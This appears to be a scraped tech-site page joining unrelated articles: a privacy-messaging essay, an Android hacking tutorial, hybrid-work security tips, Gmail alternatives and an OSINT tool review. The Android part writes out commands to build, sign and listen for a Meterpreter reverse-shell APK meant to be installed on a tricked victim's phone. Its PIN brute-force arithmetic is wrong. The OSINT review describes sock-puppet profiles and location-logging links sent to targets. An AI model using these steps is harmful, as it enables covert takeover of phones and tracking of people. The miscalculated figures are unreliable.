opinions, and the US has mastered this technically-legal censorship method. Mark Zuckerburg’s interview with Joe Rogan They’ve been actively involved with a large number of corporations, from Google & YouTube to Twitter & Facebook, and they’ve all been heavily involved with the Federal government to control common narratives across countless communities. This would be the perfect time to let you know that Google’s Keyword planner doesn’t allow you to view any data when searching for the word “Censorship”. They’re censoring data on the word “Censorship” if that’s not irony at its best, I don’t know what is. And while the Russo-Ukrainian war showed us a ton of awfulness, one of which is the US Government’s ability to control, silence, and threaten politically opposing opinions. While you may say the purpose is to stop false propaganda spread, the US has been the leading nation in pushing propaganda successfully. In fact, they have it down to a science. This isn’t just a theory, as this can be backed by charts and figures. Before the Russo-Ukrainian war, Google trends showed interest in ProtonMail to be at 0, and as soon as the special military operation was announced, that figure instantly rose to 53; the last time this figure showed up was two years prior, demonstrating a real increase in users’ need for a private Email solution. What options are available to you? There is an influx of messengers claiming to respect your privacy. However, once you dig deeper, you’ll find out that they still process your data for their own purposes. If you were a specific messenger and have access to user data, then you may receive threats from a certain government regarding banning WhatsApp if you weren’t willing to provide them with the information they ask for, you’ll have no choice but to provide them with everything they need. Otherwise, you risk losing millions of users in the span of minutes, as governments have the power to eliminate completely from a major market. With that being said, let’s take a look at the currently available options. We’ll be focusing on their utility for people who face threats of prosecution or physical harm as a result of their expression of opinions, meaning journalists, oppressed groups, political opposition leaders, and refugees. Let’s kick it off with Messenger Apps WhatsApp Messenger Starting with WhatsApp, you may ignore that disclaimer regarding end-to-end encryption. While this protects your data from being seen by third parties, this doesn’t mean that WhatsApp does not view, process, and use your personal information. While this may not seem like a problem right now, let’s not forget that Facebook has worked closely with the FBI on multiple occasions, meaning that they could hand over information regarding your location, conversations, and more, if the FBI were to ask for that information. Not to mention, for failing to be transparent about how it handled personal information, it’s first fine under the data protection law. This resulted from WhatsApp explaining how it processed users’ and non-users data and how it was shared between WhatsApp and other Facebook companies. This rules WhatsApp out as an option if you’re looking for a private messaging app, as WhatsApp’s security leaves more to be desired. Facebook Inc was fined 225 million Euro European Union Facebook Messenger Back in the good old days, Facebook was a common platform for organizing protests or discussing sociological problems. The only problem is that Facebook has had a bad reputation with regard to what data they collect about you and what they use it for. One of the signs indicating Facebook’s active data collection is how fast your battery drains when using their . This may mean they’re collecting your location and other data, with the only working solution being to uninstall the app from your phone. messenger The second problem is the user experience. Previously, there was only one Facebook App. These were simpler times! Your Facebook messages reside in your Facebook App. After they split the two applications so that your messages were in a Facebook Messenger, users couldn’t justify having two apps that should have been one in the first place, resulting in some looking for other alternatives. Then there is the fact that they rarely decline to hand over data to law enforcement agencies, so beware of what you share with the company if your life’s on the line. ProtonMail We’ve already touched briefly on , so it’s important to explore this option in more detail, so what is Protonmail? It is an email service based in Switzerland that claims to allow users to send anonymous emails. Unlike Gmail and other email providers, they don’t log IP addresses or collect your information, making it a much better option for privacy-oriented users, as all your emails are encrypted on your end, which results in you have better peace of mind when sending and receiving sensitive information that can put your well-being at jeopardy. The idea is to provide you with an email service that respects data privacy. Things, however, aren’t as simple as they seem. Protonmail — in late 2021 — was in the middle of a social media storm when , leading to the arrest of the climate activist. ProtonMail guaranteed that “by default”, would not store any IP addresses that could be linked to users’ email accounts, so it was incredibly problematic when they handed over that exact information to help with the arrest of a climate activist. Even worse, this type of user would need a service like ProtonMail to express their opinions without fear of prosecution freely. Protonmail law enforcement a police report uncovered that ProtonMail shared a user’s IP address with French With this in mind, it’s clear to see that ProtonMail isn’t any different from any other mail-hosting services, as they can log your IP address, and once they’re served with a subpoena, there isn’t much they can do to protect you. So far, we’ve failed to spot any real options providing truly anonymous alternatives to the mainstream messaging apps, as even ProtonMail doesn’t seem to provide you with an anonymous email account. Telegram is known as one of the most secure messengers around. Every time I’m asked which messenger someone should use, I automatically respond with Telegram. However, if you were a political activist or a person needing truly anonymous messaging, you may need to look for other options. Why is that the case? Isn’t Telegram secure? Don’t encrypt all your messages? Is there not a Telegram secret chat function? Yes, Telegram is more secure than other messengers. But it’s not the end-all solution. Believe it or not, Telegram has also previously shared information with government agencies. Telegram In mid-2022, Telegram found itself in hot water for sharing a user’s data with law enforcement agencies. A recent investigation in Germany claims that Telegram is actively sharing user data with government agencies and also censoring content. argues that Telegram has an active and ongoing data-sharing relationship with the country’s Criminal Police Office (Bundeskriminalamt or BKA). Der Spiegel claims there are “several cases” of Telegram sharing user data with authorities. This means that data encryption doesn’t matter, as the messaging app will eventually comply and share your data with law enforcement agencies if they are pressured to do so. The report conducted by Der Spiegel This almost leaves us with no options, though that isn’t the case. There is an emerging concept that can be the option we’re looking for. An option that is open source, transparent, and secure. One that doesn’t use buzzwords like ‘message encryption’ to prove that the platform is secure, so let’s dig a bit deeper. Enter decentralization: DeComm DeComm is short for Decentralized Communication and aims to bring true WEB3 Messengers, WEB3 Email, and Anonymous text messaging to reality. Decentralized Communication enables natively interoperable communication services that are able to trustfully use peer-to-peer connections without having to use central authorities or services. This proves to be a far better method of securing user communication than centralized options, as centralization provides a single point of failure. Regardless of the fact that centralized options have been a reliable option for all those years, they’re just not secure. This is where DeComm comes in. Previously, this idea wasn’t possible as each message would be a transaction. This means that on less-than-efficient blockchains, it would cost too much for you to send and receive Emails. However, with the emergence of efficient and scalable chains (such as Everscale & Solana), this is now more than just a concept. Not to mention, since decentralization has proved to be an objectively more secure option than centralization, this would inherently give the edge to Decentralized private messaging. One available app is , which is a Mail service based on the Everscale blockchain. This service also provides end-to-end encryption, just like other messengers. Additionally, since the protocol is based on Everscale, each transaction — and therefore, message — costs 10,000% less than Ethereum, with much higher speeds as well. Qamon Storing data on a blockchain means that even if the company was approached by law enforcement agencies, it’s just not possible to provide user-specific data. Centralized databases log users and their data, while decentralization eliminates that as an option, meaning that government agencies will have to independently build a case against the user instead of relying on their data to prosecute an environmental activist. Not to mention, Telegram is known by the majority of governments, meaning that if they find your Telegram App on your phone, it’ll be the first app examined. In this case, a less-known decentralized messenger may prove to be a more secure option as it may not even be examined by these government officials. Now That You Know, Choose wisely. If your communication threatens your well-being, then using a messenger assumes a lot of trusts. With all the previous cases centralized messengers have had, it’s truly difficult to trust them with your life, especially when they’re not transparent regarding what data they’re receiving, processing, and storing. Utilizing a platform built and created based on trust seems like the safest option. While this is a new concept — which is why it hasn’t been explored on a mass scale — it is bound to gain traction, especially in today’s light, where governments police what you say wherever they can. It’s time for free speech to become the social norm. Unfortunately, centralized messengers can’t be the right place for anonymous text messaging. If enough pressure is applied, they’ll have no choice but to comply with governmental agencies and provide the data they’re asking for, leading to the arrest of users. However, once you take control out of the company’s hands by introducing decentralized technology, you’ll see that having a truly private messenger can become a reality. Privacy for some users is just a preference, but let’s not forget about others whose lives depend on staying anonymous throughout their communication. Whether they’re environmental activists, political opposition groups, or just journalists, anonymity for some can be a matter of life or death. That is why securing a fully private and encrypted communication method is essential for their well-being. Follow ! me on Twitter Originally published . here

Is Your Messaging Truly Anonymous?

Why Cybersecurity Firms Should Stop Bragging

The methods used by attackers to exploit android phones are increasing. People are busy finding new vulnerabilities to exploit. Below are a few ways to hack Android phones: HID (Human Interface Device)  Attack Password BruteForce Payloads (Custom hacking scripts) Factory Reset Bypass HID The HID attack is a scenario in which an attacker takes a programmable embedded development platform, such as an associated software package like SET (Social Engineering Toolkit), Metasploit, etc., or uses other phones and USB's which are programmed to be a RubberDucky and execute an attack. In such an attack, the hacker installs a backdoor, and by using that, he completely downloads the target's information. Using the information, he can either hack into the bank account of the person or even sell them on the dark web. You can see how a hid attack is conducted from the channel android infosec Login Bruteforce A brute-force attack uses the trial and error method to guess the correct password of the phone. Some important points to consider to conduct such an attack: Number of passwords The timeout The time it might take The timeout: After 5 Wrong pin 's - 30 sec delay After 1 Wrong pin' s - 30 sec delay After 41 Wrong pin 's - 30 sec delay The number of passwords: The total number of possible combinations for a 4 digit numeric lock can start from 4 zeros to 4 nines which means 0000-9999, so we have about : 4 ^ 10 amount of password or 1048576 passwords in total Time consumed: Let's see some possibilities for our understanding: 5 passwords wrong, a delay of 30 seconds. We need to find out how many times we get the delay in the first place and find the total time consumed. Possibility # 1: total time total delay 1048576 / 5 = 209715.2 times 209715.2 * 30 = 6291456 sec or 1747.6266 hours : 41 passwords wrong, delay 30 sec. Possibility # 2 total time consumed total delays 1048576 / 41 = 25 , 575.0243 delays 25575.0243 * 30 = 7 , 67 , 250.729 sec or 767250.729 / 60 = 12 , 787.5121 min or 12 , 787.51215 hours You can see it is almost impossible to find the person's phone's password by brute-forcing. You will be dead by the time you find the phone's password 😣. Payloads Payloads are simple scripts that help a hacker hack a system. So now, if I just trick the person into authorizing and installing the .apk file, which opens a back door for Meterpreter to listen on for a connection to get the system under its control. meterpreter reverse tcp payload creation command: msfvenom –p android/meterpreter/reverse_tcp LHOST =Localhost IP LPORT =LocalPort R > android_shell.apk Payload is -p, LHOST Localhost IP to receive a back connection (Check yours with command), LPORT Localhost port on which the connection listen for the victim (we set it to 4444), R Raw format (we select .apk). if-config We need to provide a certificate to the .apk file to give it an identity. We need to sign a cert for a .apk file to give it recognition as an application. Without this, the .apk file will be recognized as a virus. To assign a cert, you must follow these steps Install: Keytool Jar signer Zipalign Sign the .apk file locally: keytool -genkey -V -keystore key.keystore -alias hacked -keyalg RSA -keysize 2048 -validity 10000 Keytool making Keystore: jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore android_shell.apk hacked Signing a .apk file with JARsigner: jarsigner -verify -verbose -certs android_shell.apk Install and use Zipalign: or

 sudo apt install zipalign sudo apt-get install zipalign zipalign -v 4 android_shell.apk singed_jar.apk Now run the command for that is in the Metasploit console: use exploit/multi/handler And set the various parameters in Metasploit like the lhost, lport, etc. Now you need to run the command after setting the host and port type: run (and press enter) type: After you execute this code, you will receive a connection to the target system. Using this, you can access the whole system and gain full access. Factory Reset A flashed phone is a device where a different ROM/operating system has been flashed on top of the system that came with the phone. Often, phones can be flashed to appear unlocked, whereas, in reality, they are still carrier-branded phones that will not be compatible with our service. For every phone, there are different methods for factory reset, the most common is to do it via the volume buttons and the power button. For example, I have an old oppo phone for which the factory reset combination is down volume button and power button and for 5 seconds and the phone is flashed. Bypass Bypass is a commonly used method by law enforcement like the CIA, FBI & in India, the IB & RAW use a special device as shown in the picture. In such kind of attack's it mainly depends on the attacker using the IP_BOX, which works mainly on the bruteforcing of the target. This is mainly used by law enforcement to get into the phones of terrorist's cybercriminals and other criminals' phones. You can use another tool known as the BashBunny from hak5. This is a mini-computer from which u can conduct a login Bruteforce attack. Unlike the other options above, this is a serious beast in its work. In a matter of hours, you can crack the most difficult of difficult passwords with ease. Note This tutorial is for educational purposes only. Dont try this and get into trouble. Sources rapid7 ( Refered Metasploit Information and Docs ) android infosec ( Learn About HID Attack ) David Bombal ( Learn About Bash-Bunny ) Follow me Twitter: morpheuslord2 Instagram: morpheuslord_9034 email: morpheuslord@protonmail.com

How to Hack Android Phones 

Cómo hackear teléfonos Android

The world is transitioning and so are the companies. From a traditional work environment, hybrid working is taking over. The transition took place when the pandemic hit the entire world and changed the working dynamics. Working from home was the new norm back then. However, now that the pandemic has mostly ended, employees have developed a new norm which is hybrid working. Online security was always a concern for companies, but does it still continue to be a problem for organizations and businesses with the transition to hybrid working? Continue reading to find out. The Hybrid Working Model Employees all over the world have transitioned from remote working to post-pandemic. During covid, employees had to learn how to work remotely from home. Now, when they get used to working from home it has become difficult for most employees to be efficient in working in the office. Hence, companies allowed a flexible approach to letting employees split between working from home and working in the office. hybrid working This approach has been given the term Hybrid working. There are different types of policies that companies are letting employees choose from in the name of hybrid working. These include: 1. Hybrid at-will Hybrid at-will lets employees choose among which days they want to work from home and which days they want to come to the office. This setting works well for most organizations as well as employees. 2. Hybrid Manager-scheduling As the title suggests, in this setting the manager would decide on which day his/her team would come to the office and which day they would work remotely. 3. Hybrid Split-week In this setting, the organization or company would assign certain days for remote work and certain days for the office that the employees have to follow. 4. Hybrid mix A hybrid mix policy is a combination of all three types. The New Work Norm and Online Security Ransomware attacks have increased which is evident by huge and complex attacks such as Hafnium, Colonial Pipeline and Nobelium. This indicates how should be a major concern for all businesses and organizations these days. online security Research shows that there have been thirty billion email threats in 2020 while ransomware and Firmware attacks are on the hike. There are more than fifty million password attacks every day. These statistics emphasize enough on the need for online security. The shift from working on-site to working remotely has led to hybrid working models. This has led to employees remotely working while on the move. Hence, getting exposed to various online security threats. With this new work mode, employees are working on home networks as well as corporate networks simultaneously, doing both personal as well as business activities side by side. This whole working setup sounds very promising, however, there are various security risks that are associated with it. The networks that organizations are using have no firm borders which lead to online security issues. Now that hybrid working is the new trend, a question that arises is how to combat online security threats to make the working experience worthwhile. The answer is below. Seven Ways to Combat Security Threats in 2022 As hybrid working takes over the business environment in 2022, there must be some security measures to combat cyber threats. Here are seven ways to combat security risks and threats: 1. Have stronger Passwords. The recent attacks show a clear theme for cybercrime and it is led by weak passwords. Cybercriminals use phishing and password spraying to attack. To combat security threats, the first thing that companies should do is create stronger passwords and use tools like a password manager. A strong password would help in keeping the identity protected and help combat brute force attacks. Such attacks are caused when a hacker or cybercriminal makes use of software that creates known or random passwords which are acquired through data breaches. A stronger password plays a very important role when it comes to Hybrid working. Think of it as when a company’s employee is working remotely, and a cybercriminal is just sitting next to him. A glance at the employee’s screen could lead to security threats. Using a password manager could help in such circumstances. 2. Use multi-factor authentication or two-factor authentication. Multifactor authentication is a great defense layer that companies can offer their customers. If not multifactor authentication then at least have two-factor authentication available. It will work as a layer of protection for someone accessing your account. Some call it an extra blanket for security against threats. Two-factor authentication is a must in today’s time when work is done remotely and security threats are on the urge. 3. Be cautious in clicking links. A very vital way to combat security threats is to be very cautious in clicking on links. If clicking on links is inevitable, always double-check what you are clicking as it could lead to a phishing attack which is the last thing that you want to experience. Usually, a phishing attack is delivered by an SMS or email. A cybercriminal would entice you to click on a link that would lead you to download a virus or to a website that is malicious. One must ensure that it is the right source that you want to click on as the difference might be very minute and anyone could fall prey to it. For example, instead of bathandbodyworks.com, it would be bathamdbodyworks.com. 4. Connect to a Virtual Private Network What most employees and users do is use public Wi-Fi when they are working remotely. Although, this seems to be a very tempting option it's not. When you use Public Wi-Fi all the traffic on the network could be shared with anyone. Moreover, if you are sending any private or sensitive data without encryption then it could be intercepted by otters on the network or the network operator. If there is no choice but to use Public Wi-Fi, then you must ensure that you are not sharing any sensitive data over it. 5. Manage your Devices and Applications. Device and App updates have much more to do than just bringing cool new features. Updates usually provide security patches which are very vital. You must always keep your laptop, phone and NAS updated so that it does not get hit by malware and other viruses. 6. Use Apps that are Privacy-Focused. When you are downloading and using apps, make sure that you use privacy-focused apps. Such applications help protect you from cybercrime attacks and safeguard your personal information like your ad interactions, contacts, and browsing history. There are some privacy-centered software that you can use instead of the mainstream apps and programs such as Brave, ProtonMail, Startpage, and Signal etc. 7. Always have a Passcode lock on your phone. A cyber attacker may not always be on the other side of the screen. He or she may be right beside you. Always be cautious to save any sensitive data on your phone as in case of loss or theft anyone could get access to your data and it may make you vulnerable to an attack. A passcode lock can help you safeguard your data and information from others. It is a precaution that you must take but at the same time avoid saving any information on your phone including passwords, sensitive photos, and information. Conclusion While hybrid working has become a trend for employees and companies, it has made organizations more prone to cyber-attacks. Online security has to be a priority for everyone and companies, employees and users have to take some actions to combat the threats.

Hybrid-Working & Online Security: 7 Ways to Combat Threats in 2022

Gmail is one of the more popular email services online. It is the first choice for most users who wish to register for a new email account. However, it's not for everyone. Some people have privacy concerns and prefer to go with email services that put security as their top priority. Gmail is not the most secure email service, especially if you want to protect your privacy. Then there's also Google Ads on every email that comes through Gmail. But if you're looking for a more private alternative, these other email services might track your emails and browsing habits less. If you thought Gmail was the best Email service ever, I don't know what to tell you! But if you feel Gmail has sucked in the past few years, it's time to try these inbox alternatives. Here are some of the best Gmail alternatives you can use: ProtonMail ProtonMail is the world's largest secure email provider, with over 2 million users. It is designed to make your emails and online activity private and secure. With end-to-end encryption, ProtonMail ensures that only you and the intended recipient can read your messages. Unlike other free email services, ProtonMail is security-focused and doesn't require any personal information when creating a new account. You get 500MB of storage and 150 messages per day for free. You can even use it for commercial purposes without any cost. European scientists who met at CERN and MIT developed this secure email service and are now based in Switzerland. Their email service is available on multiple platforms, including Android and iOS, with clients designed for desktops. Outlook Outlook makes it easier to meet email demands with features that make using email enjoyable again; it has a one-click unsubscribe button at the bottom of every email, secure online messaging, and a new look that's as smart as you are. If you have yet to try , now is a great time. With integrations to Microsoft Office apps, Outlook is a powerful email client for businesses and organizations of all sizes—with many great features that Gmail and other competitors don't have. One such feature is the Word, Excel, PowerPoint, and OneNote integration add-on. Outlook You can read or write an email from your inbox within one of those four apps. This makes working on documents more accessible and seamless than ever, with your inbox in the background. Share calendars, contacts, files, and notes across all the devices in your company. Outlook integrates Calendar, Files, and Contacts, helping you stay up to date with your business wherever you are. Inbox rules help you sort through messages and filter out what is not essential so you can focus on what you need to concentrate on. Zoho Mail Zoho Mail is an ad-free email service with 5GB of storage, aliases, and even activity-based reminders. Zoho Mail lets you add multiple addresses to one account, which is perfect for running various businesses. You can add your domain or any other email address without giving out your Zoho address. For large organizations, this Google alternative provides multiple administrative controls. It is also ideal for individual users who want to take advantage of the free 5GB storage offered in the standard plan. You can file messages into folders, organize them with labels, and configure multiple aliases. Anyone needing a free and unlimited email solution will find the service very endearing. Zoho Mail offers minimum restrictions on account creation. You can expect an overflowing mailbox if you use this free service regularly. All of the above-listed email services provide easy-to-use email clients and have better spam filtering than Gmail. Let me know if you come across any excellent Gmail alternatives. I'd love to hear from you.

3 Gmail Alternatives for a Better Email Experience

Hello there, today I am going to discuss a new OSINT framework that aims at creating one location for all your OSINT needs its a really neat tool for many things from Username OSINT, Social Media OSINT, Email OSINT, Bug Bounty Dorks, IP/Domain Tools, Crime Investigations, Sock Puppet Category, Temp Email/Phone, News Infosec, Phishing URL Detection, Reverse Image Lookup, Image Forensics, and Location Logging Services. OSINT stands for Open Source Intelligence and generally refers to information that you can learn about people and organisations that can be gathered through publically-avaliable tools. Topics to discuss Introduction Username Osint. Email Osint. Bug Bounty Dorks. IP/Domain Tools. Crime Investigation. Sock Puppet Categories. Temp Email/Phone. News Infosec. Phishing URL Detection. Reverse Image Lookup and Image forensics. Location Logging Services. ThreatCops Pro Version. Future Plans. Introduction - The threat tool is currently being used by various law enforcement agencies from different states that including Delhi Police, Gurugram Police, UP Police, Uttrakhand Police, Telangana Police, and Rajasthan Police, and more. (check Linkedin for reference). Threatcops.com The website aims to provide the best possible experience to its users by filtering and choosing the best resources which have been tested by many pros from the community and they also have exclusive services with their pro options. As a hacker, it’s necessary to do some recon and gain more knowledge on what I am dealing with and OSINT is the skill you need. You can go no were in a pentest when you don’t know from where you can find the info if you don’t have complete info you cannot do any pentest to its fullest. That is where this ThreatCops comes in handy as it has all the resources which are necessary to find the best intel to exploit. Intro on the developer. , is a developer, a Cybersecurity Critical thinker, and an excellent communicator proficient in OSINT-based Research/Reconnaissance, Malware Analysis, and Web App enumeration. Saumay Srivastava I aspire to develop transformational cybersecurity tactics for a variety of organizations and societies and help like-minded people with my existing knowledge. Achievements: Delivered Training sessions to MHA (Ministry of Home Affairs) Won Cyber Hackathon Organised by Uttrakhand Police sponsored by IBM, Systools, AWS User group India and Virtual Cyber labs competed with 326 Teams across India [Major all ITs, Tech Universities, and IBM], then Uttarakhand Police selected 50 projects/concepts. Afterwards, all participants completed their projects while continuously coding/programming for 36 hours. Delivered a Webinar on "How to be Safe Online" at Delhi University Vivekananda. Reported Critical Violent Data from IAMC (Indian American Muslim Council) to Government of India. Username OSINT Let's consider a scenario where you have been appointed by a group of people to a company or in any legal way you have been assigned to monitor or gather intel regarding a person from the internet and for that the main things you need to search for the person’s username and there might be 100’s of people with the same username and all you need to have the proper portal from where you can search the person. The above image will give a basic understanding of how it works. This is useful for targeting a specific thing related to that person may be designing a spear-phishing attack designing custom passwords as per the data collected and many more. The possibilities are endless and that’s where ThreatCops can be useful for username OSINT there are around 8 different links consisting of dorks, internal sub-links, and also external search engines, and yes all of them are tested and they work, and also give accurate results to a certain extent. Email OSINT In a scenario where you are testing an email of an employee or an admin email over on the internet can reveal some juicy information whether there is any kind of data leaks, malicious activities, or anything of that sort that can be checked not just email data related to what is going on with the website. ThreatCops have great links where you can also check whether the header of a suspicious email is a phishing email or not. If you are familiar with protonmail or any email provider with security in mind you know they allow us to view headers of suspicious emails and using that you can easily check if that email is a phishing email or not. In ThreatCops there are 5 links and 1 exclusive pro service where the 5 links have great resources which you will need and in most cases will be enough but in the 1 pro version there will be a dedicated investigation on the email and that will also come with a detailed analysis report. Bug Bounty Dorks If you have read any of my previous articles regarding website security I have mentioned quite a lot of times what a bug bounty is and how you can earn money via such programs. But, to find a promising bug there is always a need for lots of investigations if you want to find an open directory or a super-secret file inside the websit. For that matter you will have to use google dorks. They are the freest to use easy to understand and highly powerful tools that are present in almost all the devices in our reach. ThreatCops have some of the best links and dorks in place these with proper filtering and good googling skills can easily fetch you one or 2 bugs and that’s good as nothing in the security industry is small even the smallest of smallest vulnerability has a lot of value. In ThreatCops there are more than 30 different dorks and they are highly effective sort after and working bugs which I guarantee with some good searching can get you a pay-day. IP/Domain tools In an OSINT related to a web server or service even in a pentest scenario where you need instantaneous results, the best option is online sources as they have high-speed internet and other neat perks with them, therefore, making them effective in the enumeration in case you are doing a server enumeration or a website enumeration and want to look up the subdomains and the DNS information to find possible exploits for data leaks, etc. ThreatCops has a few of the best links for you to try and test for your next web pentest. There are in total of 31 different web links which extend from SSL scans to port scans and also have much more functionality. Crime Investigation Knowing various crimes all across the world and being up to date is necessary it helps in knowing what’s on the minds of hackers mainly black hats what global things can get affected what are the latest crimes which can have a great impact on a commoners day to day life and what you as a hacker can learn from it and how you can educate people about it. For example: On December 23, 2015, the power grid of Ukraine was hacked, which resulted in power outages for roughly 230,000 consumers in Ukraine for 1-6 hours. You see the problem is if there was a power outage for 1-6 hours that can cause people’s lives, think about it there is a hospital with 50 ICU patients or maybe more and the hospital has 5 hours of complete full power backup, a hacker group manage to disable power for about 8 hours then even reinforcements can not save the 50 plus lives in that hospitals not just that this can be in any field let it be banking, stock market, etc. that is a major issue. Staying aware of what’s going on in the outside world helps you be ahead in your game. ThreatCops have I guess 6 links some being external redirects and some internal all have their perks, and to a greater extent accurate they scrape the intel from many sources and give out a condensed view and links to the complete articles. Sock puppet categories Sock puppets are nothing but fake social media accounts crafted in detail to search for OSINT without giving out real identities. Sock Puppets are essentially aliases, fictional character profiles created by others with a specific goal in mind, and as part of OSINT social engineering. These types of accounts can be used by anyone, such as investigators, detectives, hackers, police, and journalists, who can be anyone who wants to impersonate someone else. Now that you think yes, it's an easy job because you just need to create a dummy account. It's not as simple as you might think, to be a successful sock puppet it needs to be believable and consistent with the behavior of real people online. The puppets have real names, real phone numbers, addresses, photos, credit card numbers, various social media accounts, friends, and more. Let's see what the puppets are for. ThreatCops has great links to sites for fake ID images and more for in-depth investigative uses. Temp email/phone As the name suggests this helps to create a temporary email or phone number for authentications and also for short testings. Where I would never prefer using my actual email and all for obvious reasons this is kinda useful for more than one thing such as Opsec, Bug Bounty, etc. ThreatCops do have some really interesting links for us to use, that’s it I know not much to explain it’s way simpler to use than explain. In ThreatCops there are 5 different services linked with maximum integrity. They have been pretested and I can assure you that this will be useful for you to use. News Infosec As I said above being aware of the latest happenings is important and that’s general but knowing in the field where you are working in, yes exclusive cybersecurity-related information, such as the latest CVE’s huge data breaches, scam busting, and many more. I find this information useful in a pentest scenario if you find a similar kinda service or issue facing then you can get to know where to refer and what to do to exploit that particular vulnerability. That would be more helpful than finding the same vuln from scratch which might take hours. This is just one use case there are many and might take a whole lot of time to list out. ThreatCops has four news service links that act as complete hacker newspapers as they have the day-to-day updates on the cyberworld. Phishing URL Detection If you check the spam section of your email there might be at least 1 phishing email attached to it the more your email is exposed on the internet the more you have chances of receiving a phishing email. I receive a lot of such emails reaching from job offers to things that I use on a day-to-day base. These emails sometimes can get annoying and get on my nerves and sometimes they tend to be as close to being legit but you may never know. I check things related to the email body like finding silly spelling mistakes or mistakes with the contents in some manner to get a better understanding. If in case that is a company email of some sort I check the headers of the email to contain all sorts of information that can help determine the legitimacy of the email the services are all over the internet but you need to search for the write one. If that was a personal email I search the email sender’s information means I will try to OSINT the person behind the email and if found legit I might think about going forward with the conversations or else report phishing and drink coffee and forget it. These emails mostly contain links. These links might be of services that are made to execute backdoors via our browsers mainly projects such as BeeF projects. ThreatCops has some great links to lookup such might be fraud email links we don’t know who is behind what spam links there are 4 links mentioned and they also can be used in conjunction with email investigation. Reverse Image Lookups and Image Forensics If you are into forensics you might be familiar with reverse engineering and retrieving metadata from images and they tend to be easy to give out all the information such as latitude and longitude where the image might be taken from the camera and much more information. If you know the incident where John Macfee was arrested then you might get a good idea. The scene is that John Macfee's image was found on social media when he was fleeing and when the officials checked the metadata of the image they found out the exact coordinates to the residence he was staying in that they found his exact location and arrested him. A classic example of what kinda power metadata and image forensics have and ThreatCops have some of the best online links out there they have about 14 links that have the most accurate results out there. Location Logging Services Location Logging as the name suggests determines a person mainly targets locations via links and other means and uses it mainly for legal purposes and not for other unwanted things. There are times when you might have to determine the location of your target via means such as web links or emails these kinda OSINT involves both Social Engineering and OSINT together as if you want to make your target click on the link you need to convince him to click the link and that’s left up to how you carry on the investigation. Let’s take a real-life scenario to better understand the use case of this utility. Let’s assume you have been appointed by a gov agency, I am mentioning government because in many nations doing this is illegal keeping that in mind you might have got a target to enumerate but have no clue on his locations or anything in that matter, all you have is either his phone number or his email the first logical thing is to create a convincing email or phone number. Mainly a temp and anonymous one is used for better Opsec, and then do a social engineering attack on your target with a real-life website for him to view but in a shortened or location logger link in place then send the message, email, or do a call if all goes well then you have the location of your target and you can report that to the respective authority. ThreatCops has 7 different links for Location Logging services and they are accurate for the most part with the city and country location but miss slightly with the exacts but the rest information is accurate for the most part. ThreatCops Pro Version. If you want a professional to do the job for the maximum efficiency and proper format in case you don’t have proper knowhow or you cannot directly get involved then ThreatCops has their pro version where you need to enter a few details and you are good to go the payments are feasible and the services are accurate and timely. The pro service includes: Email Investigation Linkedin Investigation People Investigation Employee Investigation Business Competitors Investigation The investigations are conducted by government authorized personnel and there will be a report with all the findings after the complete investigation has been completed these investigations are kinda complicated and companies usually hire such personnel for such complex jobs. Future Plans ThreatCops have been taking OSINT to a new extent by introducing they are planning on introducing a dark web investigation suit and they are yet to be released but it will be done soon. Dark Web Investigation COMING SOON. Links to the website . Main ThreatCops webpage DarkCop webpage (COMING SOON). Saumay’s LinkedIn. Contact me Thanks for reading my article and anything else you want to discuss or any topic which you feel that I can write an article about please add a comment below, thanks to HackerNoon’s new feature giving your opinion and suggestions have become more easy, and if you want to contact me personally you can do that via LinkedIn or email I don’t use my Instagram and Twitter handles that often and thank you. Do check out my about me page to get links to my website and social media platforms with a few details regarding me and my works. . LINKEDIN . INSTAGRAM . TWITTER EMAIL: . morpheuslord@protonmail.com

PROTON.AI

proton.ai

-- employees

Since n.d.

COMPANY RANKING

PROTON.AI

EVERGREEN INDEX #8332

Representing this company? Click here to claim and customize this page!

proton.ai WIKI

Apply to get your Tech Company News Page live on HackerNoon.com today!

PROTON.AI

proton.ai

-- employees

Since n.d.

COMPANY RANKING

PROTON.AI

EVERGREEN INDEX #8332

RELATED COMPANIESRANK

STORIES ABOUT PROTON.AI

Representing this company? Click here to claim and customize this page!

proton.ai WIKI

Apply to get your Tech Company News Page live on HackerNoon.com today!